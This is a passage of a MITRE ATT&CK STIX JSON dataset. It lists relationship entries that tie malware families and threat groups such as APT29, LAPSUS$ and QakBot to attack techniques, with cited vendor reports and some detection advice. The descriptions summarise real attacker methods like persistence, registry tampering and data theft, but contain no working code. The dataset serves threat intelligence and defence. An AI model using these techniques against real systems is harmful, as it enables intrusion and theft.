","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea4c3651-b2a3-418e-8d3b-3c8075b988ef","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye admin@338","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}],"modified":"2020-03-17T00:28:19.701Z","description":"[BUBBLEWRAP](https://attack.mitre.org/software/S0043) collects system information, including the operating system version and hostname.(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"malware--123bd7b3-675c-4b1a-8482-c55782b20e2b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea536fea-0963-4ce5-a145-c72bd89bd4b0","created":"2024-02-29T15:27:29.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-29T18:51:00.968Z","description":"Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. If requests are filtered or blocked, the specifics of this action, such as the response sent, can be used to gain further insight into the resource's nature or creation. ","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--eb897572-8979-4242-a089-56f294f4c91d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea54979f-3e4c-459c-bfaa-1435e36729e1","created":"2024-08-09T18:06:08.277Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T18:06:08.277Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can use the Windows Registry Environment key to change the `%windir%` variable to point to `c:\\Windows` to enable payload execution.(Citation: Mandiant ROADSWEEP August 2022)\n","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea5f9e1f-68fb-46dd-9e09-f66066808d0c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-28T21:37:54.177Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) persists through a scheduled task that executes it every minute.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea606b59-74e1-495c-a93d-c04418d86eb6","type":"relationship","created":"2019-06-07T17:41:58.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2020-03-18T00:50:06.618Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) has used registry values and file names associated with Adobe software, such as AcroRd32.exe.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ea60aa14-d556-4031-9d3f-bb673f2d6f68","created":"2022-06-10T17:07:59.950Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has created new virtual machines within the target's cloud environment after leveraging credential access to cloud assets.(Citation: MSTIC DEV-0537 Mar 2022) ","modified":"2022-06-10T17:07:59.950Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea61bd22-3ebc-4945-9b0a-60e65e3d4d64","created":"2023-06-14T21:59:16.631Z","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T21:17:14.886Z","description":"When executing with user-level permissions, [RotaJakiro](https://attack.mitre.org/software/S1078) can install persistence using a .desktop file under the `$HOME/.config/autostart/` folder.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea61c268-d0d1-4cbe-8b26-16f70f515a04","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T20:30:55.326Z","description":"[Remsec](https://attack.mitre.org/software/S0125) has a plugin detect security products via active drivers.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea6289bb-c974-4e4c-bdc4-1c3211a6d1d4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.577Z","description":"[Emissary](https://attack.mitre.org/software/S0082) is capable of configuring itself as a service.(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea6a1c47-237a-4bc6-a048-9f45dd48fe02","type":"relationship","created":"2020-09-24T15:17:32.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.692Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can enumerate directories on target machines.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea71022e-7f2a-4065-9cb1-304f85dbaf6d","type":"relationship","created":"2019-07-19T17:27:02.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2021-03-17T16:14:44.277Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [NBTscan](https://attack.mitre.org/software/S0590) to identify available NetBIOS name servers over the network as well as ping to identify remote systems.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea715657-58c0-4f43-8959-e9d265032303","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea774e46-3dcb-4cda-ad99-a012ad8fbb58","type":"relationship","created":"2020-01-31T12:32:52.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T12:32:52.545Z","relationship_type":"revoked-by","source_ref":"attack-pattern--d3046a90-580c-4004-8208-66915bc29830","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea79bf34-c1ba-4523-879f-441d6a4a9e5e","type":"relationship","created":"2020-06-30T00:39:39.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:39:39.885Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) may attempt to connect to removable drives and mapped network drives.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea7c1a9f-7d8e-4a06-8331-9901a33ee7d8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"},{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"},{"source_name":"FireEye APT32 April 2020","url":"https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html","description":"Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."},{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-09-24T20:24:27.706Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 April 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea7cd259-9065-4762-b7e1-f17d42b4af67","type":"relationship","created":"2020-11-13T16:34:54.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:28:41.127Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) has been spread via malicious links embedded in e-mails.(Citation: IBM Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea80c942-680d-43b4-9cbf-21f2078977ad","type":"relationship","created":"2020-06-10T21:56:40.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T21:00:57.219Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea8d3877-97d1-4dbb-b820-ac978dfd20c0","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor newly constructed files being written with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea8e2f9c-80d1-4a6e-90c3-e3d78dc3834d","created":"2024-01-03T14:26:03.597Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-03T14:26:03.597Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has disabled Purview Audit on targeted accounts prior to stealing emails from Microsoft 365 tenants.(Citation: Mandiant APT29 Microsoft 365 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea8e9109-739f-485c-8d13-fb5ed6b2fdcd","type":"relationship","created":"2020-09-29T19:16:57.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2020-09-30T15:07:31.159Z","description":"[WellMail](https://attack.mitre.org/software/S0515) can use hard coded client and certificate authority certificates to communicate with C2 over mutual TLS.(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)","relationship_type":"uses","source_ref":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea8f4a2f-6c4e-451e-a107-407d0fc06459","type":"relationship","created":"2019-05-02T14:41:03.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","source_name":"Cofense RevengeRAT Feb 2019"}],"modified":"2020-03-28T21:41:55.458Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) schedules tasks to run malicious scripts at different intervals.(Citation: Cofense RevengeRAT Feb 2019)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea904c7f-f3a7-4e47-884f-bc13e38b09c6","type":"relationship","created":"2021-09-30T14:30:23.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T14:30:23.121Z","description":"The [QakBot](https://attack.mitre.org/software/S0650) proxy module can encapsulate SOCKS5 protocol within its own proxy protocol.(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea93ff11-939f-449a-a222-4273d9fc9f3c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.856Z","description":"[T9000](https://attack.mitre.org/software/S0098) searches through connected drives for removable storage devices.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ea944454-a4e9-44fb-9cf1-3f018a455740","created":"2022-10-06T21:04:43.373Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:04:43.373Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors collected data, files, and other information from compromised networks.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea964313-8f60-4cff-800c-2ea49e2c19d7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:09:58.373Z","description":"Many [Misdat](https://attack.mitre.org/software/S0083) samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ea99ff52-af1e-49af-9cfe-b224c9a9eea4","type":"relationship","created":"2021-11-22T15:58:09.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-22T16:37:40.841Z","description":"[RCSession](https://attack.mitre.org/software/S0662) has used a file named English.rtf to appear benign on victim 